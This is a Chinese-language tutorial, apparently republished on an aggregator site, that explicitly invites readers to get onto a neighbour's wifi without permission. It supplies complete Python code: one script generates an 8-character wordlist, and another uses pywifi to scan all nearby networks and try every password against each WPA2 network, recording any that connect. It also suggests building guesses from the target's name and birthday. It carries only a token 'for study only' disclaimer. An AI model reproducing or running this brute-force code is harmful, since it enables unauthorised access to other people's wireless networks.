用python 学习 破解wifi密码

您所在的位置:网站首页 wifi密码pin码破解 用python 学习 破解wifi密码

用python 学习 破解wifi密码

#用python 学习 破解wifi密码| 来源: 网络整理| 查看: 265

哈哈家里是不是有没网了? 想蹭邻居家的wifi看这篇文章就够了!!! 那么首先你要准备什么呢,首先要有个电脑,然后跟着教程做就行了.

1.安装python 环境打开python官网 www.python.org/downloads/

image.png 2.然后打开安装程序, 选择安装即可

image.png 3.如果上面的步骤完成后你就可以尝试运行python看看是否安装成功,按住win+r 键,输入python

image.png

你会看见python的交互窗口

image.png

好如果你成功看见交互窗口证明你python 已经安装成功了, 你可以关闭窗口了,接下来就是代码部分.破解密码首先需要的是密码, 首先我们要写代码生成一个密码本,开始写代码了!首先创建一个文件名字为password.py 的文件

image.png

文件创建成功后用记事本打开

image.png

然后将下面的代码粘贴上去, 这个代码主要是生成长度为8位, 数字加小写字母的密码本

import itertools as its def run_numonly(length, filename): global words words = "1234567890qwertyuiopasdfghjklzxcvbnm" r = its.product(words, repeat=length) dic = open(filename, 'a') for i in r: dic.write("".join(i)) dic.write("".join("\n")) dic.close() if __name__ == "__main__": run_numonly(8, "password.txt")

好下面如何执行代码, window+R 输入cmd

image.png

然后使用 盘符命令和 cd命令 进入你代码的所在地点, 如果是第一次用python的建议你将文件创建在桌面,这样就可以和我的教程同步,不会出现不必要的麻烦, 首先CD进入桌面

cd Desktop

image.png

然后就是运行代码

python password.py

image.png

代码运行1-2分钟后关闭后关闭窗口即可, 因为数字+字母生成8位的密码文件实在太大需要的时间太长... 这里我展示给大家看,这是运行10分钟的结果,密码文件就32G, image.png

接下来用记事本打开password.txt,如果你打不开文件可能是文件太大,不用着急可以看这里, 他是从数字到字母有序排列,列出8位数字加字母的所有组合,

image.png

有了密码就开始用这个密码挨个尝试了,当然人工尝试太麻烦我们还是用python,借助python的 pywifi模块,pywifi 提供了一个用于操作无线接口的跨平台模块

开始 安装 pywifi, window+R 输入cmd, 然后将下面的命令输入终端

pip install pywifi

我这里安装过了可能出现的结果和你们不太一样,耐心等待即可

image.png

下面就是代码了创建文件main.py

image.png

用记事本打开文件,将下面的代码粘贴上去, 这个代码主要做了,三件事情

1扫描所有wifi

2用生成的密码破解,扫描到的所有wifi

3破解成功记录密码

# coding:utf-8 # coding:gbk import time # 时间 import pywifi # 破解wifi from pywifi import const # 引用一些定义 from asyncio.tasks import sleep # 需要第三方库 pywifi (python3 pip install pywifi) # 功能: # 1、扫描周围wifi列表 将ssid写入文本 # 2、读取密码字典进行匹配 class PoJie(): ### # 初始化 ### def __init__(self, ssidfile, pwdfile, resfile): # 类初始化 self.resfile = resfile # 破解结果文本文件 self.pwdfile = pwdfile # 密码字典文本文件 self.ssidfile = ssidfile # wifi的ssid列表文件 wifi = pywifi.PyWiFi() # 抓取网卡接口 self.iface = wifi.interfaces()[0] # 抓取第一个无线网卡 self.iface.disconnect() # 测试链接断开所有链接 time.sleep(1) # 休眠1秒 # 测试网卡是否属于断开状态, assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] ### #读取密码本 ### def readPassWord(self, wifissid): # 读取密码字典,进行匹配 print("开始破解: %s" % wifissid) # 将结果写入文本文件记录 res = "开始破解:: %s \n" % wifissid; open(self.resfile, "a",encoding= "utf-8").write(res) pwdfilehander = open(self.pwdfile, "r",encoding= "utf-8", errors="ignore") while True: try: myStr = pwdfilehander.readline() if not myStr: break bool1 = self.test_connect(myStr, wifissid) if bool1: # print("密码正确:"+myStr) # res = "密码:%s 正确 \n"%myStr; res = "===正确=== ^_^ wifi名:%s 匹配密码:%s " % (wifissid, myStr); print(res) # 将结果写入文本文件记录 open(self.resfile, "a",encoding= "utf-8").write(res) break else: # print("密码:"+myStr+"错误") res = "---错误--- wifi名:%s匹配密码:%s" % (wifissid, myStr); print(res) # 将结果写入文本文件记录 open(self.resfile, "a",encoding= "utf-8").write(res) sleep(3) except: continue # 读取wifi的ssid列表、读取密码字典,进行匹配 def foreachPassWord(self): print("^_^开始读取wifi的ssid列表...") ssidfilehander = open(self.ssidfile, "r", encoding= "utf-8",errors="ignore") ssidStrs = ssidfilehander.readlines() # print(ssidStrs) for index in range(len(ssidStrs)): self.readPassWord(ssidStrs[index]) print("执行完毕! ^_^") # 扫描周边wifi列表 并写入文本中(一行一个) def scans_wifi_list(self): # 扫描周围wifi列表 # 开始扫描 print("^_^ 开始扫描附近wifi...") self.iface.scan() time.sleep(15) # 在若干秒后获取扫描结果 scanres = self.iface.scan_results() # 统计附近被发现的热点数量 nums = len(scanres) # print("|SCAN GET %s"%(nums)) print("数量: %s" % (nums)) # 在控制台表格输出 扫描列表 # 表格 标题行 # print ("%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)) print("| %s | %s | %s | %s" % ("WIFIID", "SSID", "BSSID", "signal")) # 实际数据 self.show_scans_wifi_list(scanres) return scanres def show_scans_wifi_list(self, scans_res): # 显示扫描周围wifi列表 # 开始扫描 # self.scans_wifi_list() for index, wifi_info in enumerate(scans_res): # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal)) print("| %s | %s | %s | %s \n" % (index, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) print("^_^ 扫描结束. ^_^") print("^_^ 先预览. ^_^") for index, wifi_info in enumerate(scans_res): res = "%s\n" % wifi_info.ssid; # wifi的ssid名 print(res) print("^_^ 预览结束. ^_^") print("^_^ 开始写入... ^_^") for index, wifi_info in enumerate(scans_res): res = "%s\n" % wifi_info.ssid; # wifi的ssid名 # 将wifi的ssid名写入文本文件记录 # ssidfilehandle = open(self.ssidfile,"a").write(res) open(self.ssidfile, "a", encoding= "utf-8").write(res) print("^_^ 写入结束. ^_^") # ssidfilehandle.close() def test_connect(self, findStr, wifissid): # 测试链接 profile = pywifi.Profile() # 创建wifi链接文件 # profile.ssid ="e2" #wifi名称 # profile.ssid ="1104" #wifi名称 # profile.ssid ="1601" #wifi名称 profile.ssid = wifissid # wifi名称 profile.auth = const.AUTH_ALG_OPEN # 网卡的开放, profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 profile.key = findStr # 密码 self.iface.remove_all_network_profiles() # 删除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件 self.iface.connect(tmp_profile) # 链接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上 isOK = True else: isOK = False self.iface.disconnect() # 断开 time.sleep(1) # 检查断开状态 assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK # def __del__(self): # ssidfilehandle.close() # 引入 配置参数 相对路径写法 pwdfile = "password.txt" # 密码字典文本路径 resfile = "pj_res.txt" # 结果文本文件保存路径 ssidfile = "wifi_ssid_list.txt" # wifi的ssid的列表保存路径 start = PoJie(ssidfile, pwdfile, resfile) # 实例化类 # 扫描周边wifi列表 start.scans_wifi_list() # 读取密码字典、读取wifi的ssid列表、将结果写入文本文件 start.foreachPassWord()

当然破解密码也不是那么简单的需要几天的时间, 这里只做学习和研究, 当然如果你知道密码长度, 有没有字母和特殊符号这无疑会减少你的时间, 如果你真想破解wifi,建议深入研究密码学,如果你知道对方名字生日,可以把这些当作参数放进去生成密码... 这些我以后介绍 接下来运行代码 windows+R 输入cmd

image.png

然后进入终端输入

python main.py

下面是运行结果, 破解所需时间太长...

image.png

微信截图_20220427111050.png



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3